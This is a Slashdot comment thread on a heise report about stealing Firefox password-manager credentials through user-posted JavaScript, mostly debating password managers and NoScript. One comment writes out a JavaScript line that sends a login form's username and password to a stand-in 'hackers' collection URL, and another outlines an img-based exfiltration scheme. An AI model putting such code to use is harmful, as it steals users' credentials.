Holes Remain Open in Firefox Password Manager

juct writes "Although the Mozilla developers have fixed a known hole in the password manager of Firefox & Co, a door remains open for exploitation. According to an article on the heise site, hackers can still use JavaScript to steal passwords from users of the Mozilla, Firefox, and Safari browsers. However, the real problem might not be Firefox' password manager. If users can set up their own pages containing script code on a server, the JavaScript security model breaks. Heise Security demonstrates the possible password theft in a demo. 'From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts. Otherwise somebody can easily create a page that steals the password as soon as the page is opened ... Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.'"

Thank goodness...

... my luggage doesn't run JavaScript.

Re:Thank goodness...

Which brings us back to simplistic password. I mean, you'd be surprised how many people have 1 2 3 4 5 as the key to their luggage. Or their atmosphere shield.

Firefox no longer safe?

That's it, I'm leaving the Internet. Forever.

Re:Firefox no longer safe?

can I have your karma?

Re:Firefox no longer safe?

It is not about safety of the Firefox. It is about safety of websites that allows users to insert Javascript code to their sites. It's like a bank which would allow anyone to step behind the desk and act as an employee of the bank.

But they can only "steal" the passwords of that website. They can't steal your all passwords. So just remember to select different passwords for websites that might allow users to insert Javascript code on the site. So it doesn't matter that much if they manage to steal your passwords.

Or use Noscript as suggested. Or simply don't use such websites, as they clearly don't think much about user's security.

Re:Firefox no longer safe?

Which outlines the whole strength of having a password manager. You can have a different password for each website. Without a password manager, it's hard to do this because there are so many sites that require passwords. For my password management, I use passwordsafe [sourceforge.net], because it lets me manage all my passwords, not just ones for websites, and I can put it on a usb memory stick, and carry all my passwords with me.

This brings up another thought. If the websites in question allow users to post javascript, and there happens to be a login section on that page, then couldn't the user posting the script add an onchange or onkeypress event to the username and password fields to capture the username and password, and then forward the information to their server by creating an img element, and having the username and password passed as GET variables appended to the URL of the img src, which is in fact just a php page that stores the username and password in a database. Seems to me that any site that allows people to post executable javascript is just asking for trouble.

It's evolution baby

Only the brightest survive (e.g. we, who use NoScript).

stupid features

I think people really need to have their head examined when it comes to certain features.

Don't want to remember all your passwords? Don't use sites that require passwords.

Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?

Having something "remember" your passwords defeats the purpose of having passwords.

Re:stupid features

> Don't want to remember all your passwords? Don't use sites that require passwords.

Or more specificly: Don't use internet. How many webmails you know that don't use password? You couldn't even write to Slashdot, except anonymously.

> Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?

Yes, 3rd party has keys to our home. It is quite common with the apartment houses where I live. It is however quite unlikely that they would steal from us, as they would be number one suspects. So far I have never been robbed by they key holders, nor have I ever heard of a case that someone else had been.

> Having something "remember" your passwords defeats the purpose of having passwords.

Not really. It just makes the password behave more like client sertificates that automatically identify client to the server.

Possible fix

Do not use a pull model but a push model like the bugmenot extension. A right click in the login form would allow you to automatically enter saved information. It's much safer.

Secure Login extension

Do not use a pull model but a push model like the bugmenot extension.

You know, that's not a bad idea. Apparently someone else had it too. Check out the Secure Login [mozilla.org] extension. It doesn't use a right click (although I kinda wish it did; may have to suggest that) but it does have a shortcut key and an icon.

Thanks for saying that; I would have never thought to go looking for such an extension without you saying it.

password complexity

I used to think (back in my tech support days) that people who couldn't remember their password were just plain stupid. These days, I work in a large firm that has tons of different passwords for everything. Unix passwords, windows passwords, spam mail setting utility password, time tracking utilities have passwords, passwords are required for clearcase/clearquest, remote login, etc. Each of them has different password complexity rules. I no longer criticize people for forgetting their password.

Clarification

Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function.

That's very misleading. Allow me to clarify:

Users could also disable JavaScript, which in the age of Web2.0 would cause many pages to display incorrectly. A better alternative is NoScript! [noscript.net], an add-on that allows users to selectively white-list pages, servers, or domains to use JavaScript.

Re:Clarification

That's exactly the problem with Web2.0, that NoScript would probably not cut it.

Take MySpace. How do you want to handle it? Whitelist MySpace as a whole? Then you got no security. Whitelist certain user pages? Then someone who browses userpages has essentially the equivalent of having JS turned off and gets bugged every 2 seconds. And the potential problem that someone might generate content you want to see and bug it.

The problem is not that certain domains are "evil". Ok, that problem exists, too, but it's a very different problem. The problem is that it's now possible to put malicious script code into user generated content, and that other content on the same server and domain is what people want to see.

Firefox password manager

The thing that scared me away from the password manager in Firefox was a program called System Info for Windows [gtopala.com]. It lists all sorts of things about your computer--click on "Secrets." It searches for passwords in several programs--I have a few passwords saved in FF and the vast majority in Opera. I saw both programs mentioned in its analysis (meaning it searched both FF and Opera for saved passwords). It listed every saved FF password but no Opera passwords.

It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same.

Re:Firefox password manager

Your first mistake is not setting a master password in Firefox.
Once you do that it won't be able to read them either.
Its failure to read the Opera ones means either A) you set a master password in Opera or B) no one cares about Opera so program doesn't even look for them.

Re:Firefox password manager

Last--FF needs a master password set to be even remotely secure with regard to passwords, while Opera does not. This seems like a big hole.

If Opera has encrypted your passwords, then it must have a copy of the decryption key stored somewhere in order to read them. It would seem that your program's author just didn't know where the key way, or it would have been able to read the Opera passwords too. Someone can correct me on this if I'm wrong (not a big Opera user), but to me it sounds like security through obscurity.

Password Managers and Simple Passwords

On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.

Don't tell me that the presence of an in-browser password manager has anything to do with the strength of the password. The only thing stopping people from using simplistic passwords is the quality of the IT department's restrictions. I bet every salesperson in my office would use "gocubsgo" as their password if our IT department didn't demand at least one capital letter and a number. As such, their passwords are now "goCubsgo2007".

Don't tell me that an in-browser password manager stops people from using the same password everywhere. The average person sees "password" and a single phrase comes to mind. "Oh, my password is '12345'", they say to themselves, and enter that. They don't sit there and think, "Oh, I should keep my bank account password separate from my MySpace password."

Those two issues aside, people always use password managers of some kind or another. The difference is whether or not they are vulnerable to an attack. I happen to manage my passwords by memorizing them, whereas my father keeps his monitor covered in sticky notes. My password manager is more secure against people sitting at my desk, while his is more secure against old age, and both of them are safe from internet crackers.

I don't think there's much we can do about increasing people's password security other than increasing awareness and forcing better password standards.

KeePass

Use KeePass http://keepass.info/ [keepass.info]. Open source, and better automation with websites and much more control than the internal password manager.

OpenID

Sounds like the exploit relies on auto-enter password fields for a domain, and then using javascript to transmit the value of thte password field to the attacker's machine. So, not so much a coding error as a flaw in the thinking that any password field on a site should be auto-filled in. Requiring some action on the part of the user would help with this, but a better solution would be to move to openID [openid.net].

Safari??

Can someone confirm if Safari is actually vulnerable, or if it is just that the author thinks that "all open source browsers are just the same"?

I tried it with Konqueror and default KDE 3.5 password saving tecnhology, and no password leaked this way. I wonder if Safari would have problems there.

Master Password?

I wonder why they didn't mention the "Master Password" feature of the password manager. Every time the password manager activates, it prompts you to type in a single master password. This should be effective in preventing any password harvesting, save for any other bugs that the manager might have.

My Password Manager is My Brain

It's things like this that force me to disable Password Manager altogether. If only one security hole exists in Password Manager, someone would be able to grab passwords to my bank account, credit card, e-mail, and more. It's a lot harder for the hackers to get the passwords when the only place they are stored is in my head.

With that said, I must admit that I am having more trouble remembering all of my passwords since I acquire more accounts and each account has different password requirements. I wish there would be an official standard for secure passwords so that I could reliably use one password for most of my accounts. Of course, that would also be a security risk because if someone got that password, they would have access to most of my accounts, but that's a separate issue.

Password Safe

Password Safe is good for me. [sourceforge.net]

I don't know how easily crackable it is, but at least it's not linked directly to the Internet like a browser.

Use the Secure Login FF Extension

By using this extension, the security whole is fixed. Just have to wait around for FF to implement it natively.
This extension provides a *wand* like Opera has. (which is not affected by this security hole, because of this functionality).

https://addons.mozilla.org/en-US/firefox/addon/442 9 [mozilla.org]

Challenge/Response

The "right" solution is to have a challenge/response protocol where your secret key is never sent out of your computer at all. The current password situation is a huge mess since you need a different password for every site or risk one compromised trusted site giving away your password to everything. Most users, even when using a password manager, aren't going to have unique passwords for every site, let alone strong ones. It wouldn't surprise me at all if such a protocol already exists in the HTML standard. It certainly should.

The downsides to this solution? 1) You need to have a browser that supports the protocol (no browsing in telnet). 2) You need to carry around your keys if you want to use them on more than one computer. 3) You need to explain it to users (but hopefully it can be almost transparent). I'm sure there are other problems but the current situation is untenable.

My Solution

While I do use the PW Manager in Firefox, I have never allowed it to retain any critical pw's with those defined as any site where I enter financial or shipping information. For those sites, I use a dedicated PW Manager that allows me to generate more secure passwords using all available characters including special characters.

In the rare case that a website does not accept/allow special characters to be used for passwords, I tend to re-evaluate their value to me. I also notify both the webmaster and customer service that they've reduced the value of their business to me by not accepting secure passwords and that I will no longer deal with them except by a cash-n-carry basis. A few of them have responded positively and after some effort have increased their password security by allowing special characters and thus they've gained an increased level of business from me along with the positive word of mouth advertising to my friends and associates.

Fanboi Fix.

Who found the bug? Can we commision a hit on him?

Ok, I take that back. Forgot this is Firefox, not Safari.

Maybe I'm doing something wrong (or right...)

But I can't seem to get the Browser Check to pull passwords on Safari 2.0 or Mac/Win Firefox with all three using password manager. Is there a specific way that the password manager/auto-fill needs to be set up in order to pull the data?

IE, is this more FUD-ey stuff that is very situational than practical?

Hm..

The vulnerability only stems from the fact that Firefox puts the passwords into the box.

There is no workaround for this.

So, if you're that worried about your passwords being stolen, don't use the password manager. If you're worried about burgulars, close your window and add some bars. Better yet, get rid fo the window all together.

Kwallet

From the Kwallet handbook [kde.org] (a KDE utility; GNOME has equiv.): The wallet subsytem provides a convenient and secure way to manage all your passwords. I'm not sure if this can be done automatically (integrated in browser) but manually, using a master key/password, it is a good way to store passwords for those with Alzheimer or other memory trouble. One could even use GPG/PGP or TrueCrypt (or LUKS/GELI etcetera) as 'wallet'. As long as you can remember/have the master key its more secure and reliable than (sticky) papers, or a plethora of passwords to remember, or using the same password for various purposes. Just make sure you have this data backed up.

which sites are affected?

does anyone have a list of sites which are likely to let third parties insert js code?

would myspace, popular for being visually "hackable", or facebook be affected?
facebook in particular lets you add 3rd party extensions to your profile. would
those extensions be able to add appropriate js code to extract your facebook
password from your firefox password manager?

Don't trust embedded Javascript?

Why not place security restrictions on embedded Javascript? Any website developer worth his or her salt already puts all Javascript in external files. Don't allow embedded Javascript to read password fields or cookies and you make an attacker's job much more difficult. Or so it would seem to me, anyway.

Do not use password managers

the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.

I rarely use a password manager, because I do not really trust them but also because, just as when using cookies to stay logged on a site, you just do not have to remember your password. This means that when you occasionnally want to log from another computer, for some urgent matter, you cannot find what your password was!

On the other hand, I generally use the same simplistic password on many sites just because there is no critical information on them. On some game sites, the most important information may be my real name and address if there is some incentive for this (read: prizes to win).

Strangely, one really critical site (my banking account) uses a not-so-hard password (6 digits), but this is constrained by the bank itself.

Not my problem

Who on Earth uses the password save feature and expects it to be safe anyway... I mean, come on. I keep my password manager on my USB stick, using a program that doesn't communicate with the network. I don't keep them in the program that will also talk to the site I want to log into. Too much danger that info will leak or a way in will be found... well, whaddayaknow.

kwalletmanager

Maybe a much better solution. But you need to install Linux or *BSD first.

Hackproof system

I have a hackproof system for password management. It's called a "brain." I remember my passwords, then I retrieve them from memory when I need them.

calling BS - should be classed as phishing

"an attacker may emulate the login form "

This is the same old whore in new shoes. A javascript text entry masquerading as something else. You may as well point in apache's direction for htaccess too then.

As long as people do not think about what they are doing with their web browser, you will always have this problem. If people would think about web sites the same way they think about crossing a busy street the problem would be solved.

Use a different password for each site

Using a different password for each site is the ultimate in security; however, without a password manager of some sort, it becomes too difficult to manage such a large list of passwords. Thankfully, OSS password managers such as Revelation [codepoet.no] and Figaro Password Manager [sourceforge.net] exist! Personally, I use revelation; however, both are excellent pieces of software!

--
Yahma
BlastProxy [blastproxy.com] - Anonymous & Secure web browsing
ProxyStorm [proxystorm.com] - Anonymous & Secure web browsing
LiarLiar [sf.net] - Open Source Voice Stress Analysis & Lie Detection Software

Use Passwordmaker

As pointed out, noscript is your friend. Another handy plugin is passwordmaker, https://addons.mozilla.org/fr/firefox/addon/469 [mozilla.org]

Makes it trivial to have different, secure passwords for each site.

Better Idea

Don't store your passwords in ANY password manager, and especially do not allow Web site to "remember you." Enter your passwords every time you go to a site that needs them.

This means using passwords you can remember, rather than truly strong random passwords, which is a security problem in itself. But with some initial judicial selection of a manual password generation algorithm, this should be doable for most people. If you have a limited set of passwords you use frequently, especially for low value applications like Web sites, and they are generated by a manual algorithm that produces half decent strength passwords, you don't need a password manager.

Reserve your high strength passwords for your personal system, make sure they're different from anything you use externally to your system such as Web sites, and put them on an encrypted USB key or encrypted file on your system so they can't be obtained even by a hack.

Master Password Timeout 0.2.5

The first thing i found after the previous announce of this problem was the firefox extension that timesout the master password after let's say 30 seconds.
Next time the browser wants to fill in a blank it ask for the master password, if you don't trust the site just press escape and nothing will happen ! :)

Ah! I'm safe!

I don't have to worry about this exploit because for all my password-saving needs I use a fine piece of software called E-Wallet form the friendly guys at Gator, I mean, Claria.

Where can I get a safe (but also useful) browser?

I have been using Mozilla browsers as long as they have existed. But I have never been really impressed by their safety, stability or security. At times, they may have been better than IE - but as I never have used IE, that comparison means very little to me. I am not interested in relative safety, stability or security, I want absolutes.

Let me explain what it is that I want:

First, usefulness. Given that pages are designed by clueless morons who suck up to each and every feature or plugin that might be available (Java, Javascript, Flash, embedded objects of of all kinds, perhaps even ActiveX?) the browser needs to handle such pages gracefully. However, such plugins, which may sometimes be closed-source blobs, should be treated with utmost suspicion, and only be allowed to run in a jaillike sandbox, with all priviledges revoked, and isolated from all other parts of the executing session.

Second, stability. On my NetBSD system, I have a setup with mplayer-plugin, java-plugin, and seamonkey, all natively compiled. I admit that by using an obscure OS, my stability issues are partly self-inflicted, but sound defensive programming could avoid some of those problems. Why is it, that a page loading a plugin and crashing, takes down each and every window I have open? Because everything runs without isolation, that's why. If each session ran in its own OS-process, with just a shared display process, this could not happen. But that's not the worst part. Often, I find myself typing lengthy text into a textarea (like just now), and although I have Mozex installed, I still haven't gotten used to it. (There you go.) Although vi may be considered an archaic editor, it does a thing or two right. First, it is far less prone to going belly-up. Second, when it does, I have a fair chance of recovering the text I was typing. Not so with Mozilla. If I am really lucky, the Mozilla process hangs instead of exiting, and then I can use strings on /dev/mem to recover my text. If not, well, then I'm not so lucky. A safe and stable system would ensure that anything related to the configuration of the browser or entered by the user, was flushed to disk ASAP. Recently, I tried to install the NoScript plugin - I was at the same time astonished and infuriated when I got an error message which I can't remember exactly, but said something like "installation failed, this error is very likely to be transient, so please try again". Please - heed the wise words of Yoda: "Do, or do not. There is no try." I found myself with a broken plugin installation, and in order to fix it, I had to do things I'd rather not think about. A safe browser would ensure that it would be possible to undo the partial plugin installation and revert to exactly how things were before, without resorting to editing XML files by hand.

Third, security. Why is this always an afterthought? I would like to know, record (with timestamp), and archive any exchange of information for later investigation. The only way I would be able to do so would be by making a proxy and go through that always. Why not a function of the browser? I would like to control preemtively each and every IP-address my browser wants to connect to, unless it's on a white-list. Why can't I? The default browser configuration let's me block images from a given server, but why this coarse and arbitrary resolution? Why can't I block URLs by regex? I wan't the ability to restrict beforehand through ACLs, which sites and URLs I like to see. And it goes without saying, that no session should ever be able to send my private data to the server without my approval. I want this enforced, by a provably secure design, using OS security measures to make proper guarantees: the session should run as nobody, chrooted to an empty workdir, and all requests for config and private information should go through a client-server like connection, that should be filtered, logged and audited. And of course anything stored locally should optionally be stored encrypted. Nothing unapproved would ever go on

Re:Lies, damned lies

So before you jump to that conclusion, have you tested this against other browsers?

Not being a developer myself,I don't know have an idea about how to fix it, but this seems like an awful sticky technical problem.

Re:Lies, damned lies

Firefox having a vulnerability in the password manager does not make IE6 and IE7 'more secure' browsers. If it did, then this site (http://www.sans.org/top20/) would not be worth reading....

Re:Lies, damned lies

IE is not affected because it doesn't automatically enter the info into the forms on load.

Re:Lies, damned lies

I call bullshit. If the "real problem might not be Firefox password manager", then why IE6 and IE7 password managers are not vulnerable?

Actually, the IE6 and IE7 password managers will most likely equally vulnerable. If you do a little looking at the code, all they really do is just scoop the login and pass from the input fields. Mozilla fills it in by default if only one login is available. I don't know exactly what IE does in this case, but I'm guessing that even if IE doesn't fill out the password right away, you can still add an extra onSubmit to the form and do your thing.

From the MSDN website [microsoft.com] I can quote:

When the AutoComplete feature is set to save passwords, a password is automatically filled in when a known user name is provided, and the password and user name are stored by URL. When changing passwords, the user is prompted to save the new password.

So as far as I can tell, you just need to enter a username and be on the correct URL. If by URL they mean "exactly the same page" this won't work unless you can trick the browser somehow, but if it is "the same (sub)domain" it will. Since I don't have an IE at my disposal right now, I can't test it, but I suppose it will work when you use onSubmit.

document.location="http://some.hackers.url/collect .php?user=" + document.form.user.value + "&pass=" + document.form.pass.value;

Then redirect to the login page hoping that the site doesn't check referrers (most likely they don't), and you're set to go. Sites that allow users to enter HTML and especially javascript are begging for this sort of thing, and there are much worse things you can do once someone gives you free play with javascript anyway (cookies anyone?)

Just stating the obvious, although now I'm actually curious if this works on IE...

Re:Lies, damned lies

It's not even really a browser security issue. Okay, I suppose there could be user-interaction requirements so the form-filler doesn't *automatically* autofill on page load, but the real issue is site-owners who ignore the basic principles of site security and password handling, and open their users up to simple exploits.

The central concept in much of web-client security assumes that a domain is a single entity, and if you trust the domain, you trust the domain entirely. I don't see fault in this assumption-- a line has to be drawn somewhere as to what "one entity" is, and to split it much further would lead to unnecessary hoops and inconveniences. Back in the NetSol-monopoly days before cheap domain names, this point may have been debatable, but at that time there was far less personal information getting passed around by clients, as well.

Nowadays, anyone who is running a service with open access and open-ended "userpages" should be taking the bare-minimum step of sub-domaining their users' pages, and sub-domaining their own login forms as well. It costs nothing, it's more convenient for users, and it sandboxes everyone from each others' potential hack-attacks. If an exploit that gets around that, then people can talk, as that'd be a legitimate XSS or trojan/spoofing exploit. This stuff, though, is pinning exploits borne of shoddy web-side security onto the client developers.

Re:Lies, damned lies

I know it will hurt all the fanboys, but the less secure browsers are: Firefox, Mozilla, Safari.

Uh, how does the existence of a specific exploit in Firefox make it a less secure browser than IE?

History disagrees with you.

If you can provide some hard evidence that IE is more secure than Firefox, we would all be interested in seeing it.

But we won't be holding our breath, either, for two reasons: one, there is no such evidence; two, you would probably not be capable of providing it even if it existed.

Re:Lies, damned lies

Did anyone bother to read the details of this vulnerability?

But this means, that a second, evil page on the same server could steal those saved passwords.

In this case the server has already been compromised to some degree... and the only password in jeopardy is one to the very server you are connected to....
That's like saying a local restaurant is not a safe place to use a credit card.... because the staff might see my credit card number or they might be robbed and have my signature slip stolen...

BTW: Have any IE users actually tested to see that IE doesn't have the same "vulnerability"?

Re:Lies, damned lies

What does Window Snyder have to say now? How many times have we shown you the exploits (and demonstrated fully) and got shot down for it? Well, now that the real exploits are gaining attention (thanks to some clever tactics), we'll see her reaction later. Her constant smartass remarks, and devs hiding certain bug exploits and fixes from the ones that found them in order to save face is just making Mozilla look worse and worse. When you have to rely on third party software to keep Firefox safe now, well, it's starting to sound more like IE now, huh? Please, lets save Mozilla by ridiculing the people in it causing the problems and not allowing change to happen instead of piling bloat over bloat (It's pretty bad when you have such horrible memory leaks in Firefox now).

I am not a Microsoft shill, I support fixing Firefox but the masters don't care.

Re:Lies, damned lies

Fanboy here. You're right. Got that outta the way

The problem is not really with the firefox password manager, because

1. Even if you only automatically entered a password with a push mechanism (right-click to fill in password information) then people would still do that on the "bad" scripts. The problem, like most things, is a problem of social hacking. Education is what is needed... maybe make firefox educational as it's logging into various login pages?

2. Remember the problem boils down to using your fileserver password for your myspace account: that's what this is talking about. It's not like an attacker can read your whole password manager, it can only get the password for a certain site that they have ALREADY compromised (myspace and facebook are sites that are compromised by design). If you use one password for all those inherently insecure sites, and another one for your email, and another one for your banking then this attack, even if successful, will not hurt you as much as you think it would Oh no! Some script kiddy finally managed to get my facebook password! He might upload pictures... and people would think I have a life.

Re:Lies, damned lies

The security of a browser still ultimately depends on how you use, and if it allows safe use. For instance, Consumer Reports found certain SUVs to be unsafe in standard use. While companies sued CU, the reality is that SUVs, if not used as people expect them to able to be used, are not safe. I see tipped over SUV every month that proves this point.

The problem with IE, was, for the longest time, that it did not provide standard protections. It always allowed the remote sever to control the users machines, and that control, though useful, lead to malicious use. The main thing that other browsers did, and plugins for IE, was allows user to limit the control that the remote site could exert on the local machine, thus increasing security. The user can now control everything, even the look and feel, which is problem for sites that require control of the user to generate revenue, but good for the user. For most users, the two major thing the user can't control or still need, the flash plugin and java script, are now arguably the major points of attack.

So what is the security issue in this case. It is that passwords are stored by the browser, inside the sand box, so to speak. This is bad. Passwords should be stored securely at the system level, available for applications to request, and with the user permission supplied. In other words, application password managers have to go.